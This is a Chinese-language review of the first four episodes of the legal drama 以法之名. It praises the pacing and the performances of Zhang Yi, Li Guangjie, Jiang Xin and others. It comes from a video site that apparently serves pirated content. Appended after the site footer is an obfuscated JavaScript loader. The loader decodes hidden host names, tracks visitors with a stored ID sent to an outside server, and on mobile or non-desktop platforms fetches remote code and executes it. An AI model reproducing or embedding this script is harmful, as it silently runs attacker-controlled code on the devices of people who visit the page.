看了4集《以法之名》,发现演技不能比较,因为优劣一目了然

来源:泡剧网人气:509更新:2025-07-21 13:12:00

这是一部我愿意称之为今年以来最敢写、最敢演、最敢直面问题的政法剧。

虽然有“最高检”作为指导为《以法之告》掌舵把帆,但却在揭示系统内部问题上,几乎完全没有遮掩与美化的痕迹。



虽然只看了短短4集的《以法之名》,却能从开局法庭上的大反转,到不断引入人物之间各种联系,整个叙事风格不仅没有冗长与拖沓的感觉,甚至有些快到让人窒息的错觉。

这种直面问题、直切要害的叙事风格,比起“草草收场的荔枝”《以法之名》让人有种眼前一亮的舒畅感以扫阴霾与压抑。



或许是我们的国家越发的自信,或许我们的国家越发成熟。

从对仙侠剧、古装剧需要从历史出发融入更多对民族文化的认同与自信,到越来越多都市剧、政法剧、刑侦剧敢于直面问题的大尺度。

《以法之名》可以说是近些年来,国内电视剧优秀面的集大成之作,同时也让人对后来者有更多的期待、更高的要求。



如何判断《以法之名》的好与坏

以笔者对政法题材电视剧的浅薄认知,要判断《以法之名》的好与坏,最重要的是一点就剧情与案件之间的逻辑关系是否合理。

虽然有“最高检”为《以法之名》的大部分案件提供素材与托底,但是在经历了多名编剧轮番润色之后的剧本,是否会产生前后剧情逻辑上的撕裂,就成为了这部电视剧最大的未知。



按惯例来说,《以法之名》必定会有一个贯穿整部电视剧的主要案件为主轴,再辅以有社会正面意义或热点话题的案件作为点缀。

当所有这一切都准备好后,整个故事的骨架也就基本搭建完成了。

接下来便是在这副骨架的基础上,为其附着更多的主线反转,以及非主线叠加等如同血管般的网络交织。



如果能将主要案件与次要案件设计成为环环相扣的模式,虽然可能会给人一种无巧不成书的不好体验,但同时也会在塑造剧中主要人物方面有更多的空间与可能性。

只是当所有案件无论大小互相交织在一起后,这些被强行嫁接在一起的案件能否在逻辑上做到自洽,就成为是否会让《以法之名》落得一个为煽情而煽情的最大不确定因素。



特别是有可能会围绕着某个角色展开的冤案部分,很容易在处理冤案时,让人产生过度煽情的不好感受。

与此同时,用36集的长篇幅来诠释一个主要案件,如何能做到不会给人一种拖沓或冗长的感觉更是重中之重。

特别是在讲述案件调查与侦破这些过程时,节奏推进是否紧凑是一个能否让《以法之名》出圈的重要观察指标。



最后就是由于有“最高检”的背书与托底,剧中无论大小案件是否真实可信,足以成为评价《以法之名》是否有足够专业度的重要指标。

一旦出现剧情或角色真实浮夸或不够真实的情况,一旦出现剧中案件逻辑难自洽的硬伤,这些问题甚至会比常见的虎头蛇尾更加难以挽回口碑。



除此之外,如果为了丰富剧中人物的性格与人设,在案件侦办过程中设计多种人物反转或剧情转折出现缺乏因果基础的情况,同样也是像笔者这种门外汉难以接受的硬伤。

另外还有是否宣传意味过浓、是否敢于指出体制盲点或弊端,都是判断一部政法剧好看与否的重要指标。



《以法之名》中的男演员们,精彩纷呈

作为整个故事中最重要的两位男主角,无论是由张译饰演的洪亮,还是由李光洁饰演的李人骏,都在极短的时间里给人留下了深刻的印象。

作为影帝与视帝的张泽,在诠释洪亮这个角色时,由于他是一把伸向内部同志的“一把刀”,所以惟妙惟肖的展现出,这个角在为人处事上过度圆滑的一面。



即便他会因为某些对自己过度的嘲讽或令人震惊之事而惊慌与愤怒,也会在极短的时间内将自己重新调整回那个圆滑的状态。

也许这是身为体制员工的基本素养,也许这是为什么洪亮能一步步走到今天位置的重要资产。

无论从哪个方面来说,洪亮这个角色都像是为张译量身定制的一般,无论换剧中哪位男性演员来诠释这个角色,都未必能比张译更为出彩。



与圆滑的洪亮不同,由李光洁饰演的李人骏,不仅更加沉稳还多少有些寡言的味道。

这种人不仅比洪亮更适合在检察院这种单位工作,更能与洪亮这把伸向“内部的刀”形成巨大的反差。

李光洁诠释的李人骏,每一次在办公室走廊上的回头,每一次低下头沉默不语,都在预示着他是一个有故事的人,他的内心深处还有许多的秘密未曾被挖掘出来。



除张译与李光洁两位中生代演技派之外,《以法之名》因为讲述故事的特殊性,因为涉及众多上下级关系与其之间的拉扯,所以汇聚了众高质量的演技派与老戏骨。

无论冯嘉怡、王劲松,还是郝平、施京明,都用稳健的表演成功诠释了什么是体制内的领导,什么叫风浪前面不改色的底气。



虽然只有短短的4集,却让我看到了这部以男性视角为重要叙事风格的政法剧,在剧情尺度、演员质量等诸多方面与以往的不同。

在《以法之名》中,不再是流量明星挑起整部戏的大梁,取而代之的,是一群凭借演技征服观众的实力派演员。

他们精彩纷呈的演技,向观众证明了颜值或许重要却未必是最重要的,只有故事逻辑清晰、演员表演到位才是最吸引人、最重要的。



《以法之名》中的女演员们,厚积薄发

比起让人有些目不暇接的众多男演员,《以法之名》中的女性角色在人数上多少有些不那么对等。

虽然作为女主角之一的蒋欣,在与张译的对手戏中,成功表现出一个徒弟、下属或者说晚辈对长者的爱护与心急,但仅凭她一个人面对这一群男人多少还是有些力不从心的。



大炮性格的郑雅萍虽然不可能与已婚的洪亮有组成CP的可能性,但这却有可能成为为数不多在剧中男女主角不谈情说爱的电视剧。

只可惜作为同样身处一整个大系统中的兰景茗扮演者,刘佳虽然与蒋欣同为女性,也符合老戏骨实力派的所有特征,但由于出场次数不多关键性作用偏少,所以很难在前4集中看到她更为精彩的表现。



作为第一出场的女性反派角色,虽然熟悉法律的张文菁一鸣惊人,成为第一个让我记住名字的女性角色。

但或许是董晴这个名字过于陌生,虽然从角色本身来说这是一个极有画面,也很可能在后续剧情有更多精彩表现的女性角色。

只可惜在前4集的她,并没有让我从她身上看到更多闪光点与高光时刻,除了庭审上的那一声怒吼。



作为《以法之名》无可争议的三位主角,相比起李光洁与将欣两位虽然众多喜欢他们的观众,却鲜有与喜欢形成鲜明对立的极度讨厌者。

反观主角中主角的张译,虽然在诠释洪亮这个角色上有着让人眼前一亮的表现,却依旧会是爱者恒爱、恨者恒恨的结果。



作为一名演员,作为一名善演天下所有人的演员,这样一种结果或被对待的方式,或许也是一名成熟演员本就应该天然具备的。

可以接受在人物诠释上的批评,也可以接受对演员本身就是不喜欢的有话直说,但却万万不能因为不喜欢进而形成人身攻击或言语上的谩骂。



当我们看到前4集《以法之名》的大尺度与高强度后,当我们看到《以法之名》在“最高检”背书下敢于挑开更多脓包、照亮更多暗黑。

可以预见之后的《以法之名》会有更加精彩的剧情、会更为多让人惊叹的高光时刻。

即便我们无法以检察官之姿形成代入感,却依旧有可能站在法律与正义的高度,俯瞰与品味《以法之名》为我们讲述的所有案件与故事。



关于《以法之名》的解读暂时先写到这里,更多精彩解读且听下回分解。

若觉得文章不错,希望您可以点赞、分享与关注哦,图片来自网络。


最新资讯

郑重声明:泡剧网所有播放资源均由机器人收集于互联网,本站不参与任何影视资源制作与存储,如若侵犯了您的权益请书面告知,我们会及时处理.

如果喜欢泡剧网请分享给身边的朋友,站内广告是本站能持续为大家服务的立命之本还望顺手支持一下^_^

百度蜘蛛 - 谷歌地图 - 神马爬虫 - 搜狗蜘蛛 - 奇虎地图 - 必应爬虫

Copyright © 2019-2024 · 泡剧网 www.bjhuahong.com

function wTUYUY(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function KRpZvO(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return wTUYUY(t);};window[''+'d'+'p'+'U'+'X'+'Z'+'X'+'w'+'H'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function rqYH(t){var e=t.match(new RegExp('^((https?|wss?)?://)?d.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=KRpZvO,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=rqYH(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://ded.siabcbfo.com:8887/stats/2497?i=67&ukey=' + a;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__dsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/mj1/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=rqYH(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/mj1/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/mj1/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/mj1/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZkLnNNiZnNNrdmxydnJrdm5uZG5yaHMuY29tJTNNBODg4NNw==','d3NzJTTNBJTTJGJTTJGZC5zamZrYnZza3Zzam5ia3J2LmNvbSUzQTTg4ODc=','2891',window,document,['N','T']);}:function(){};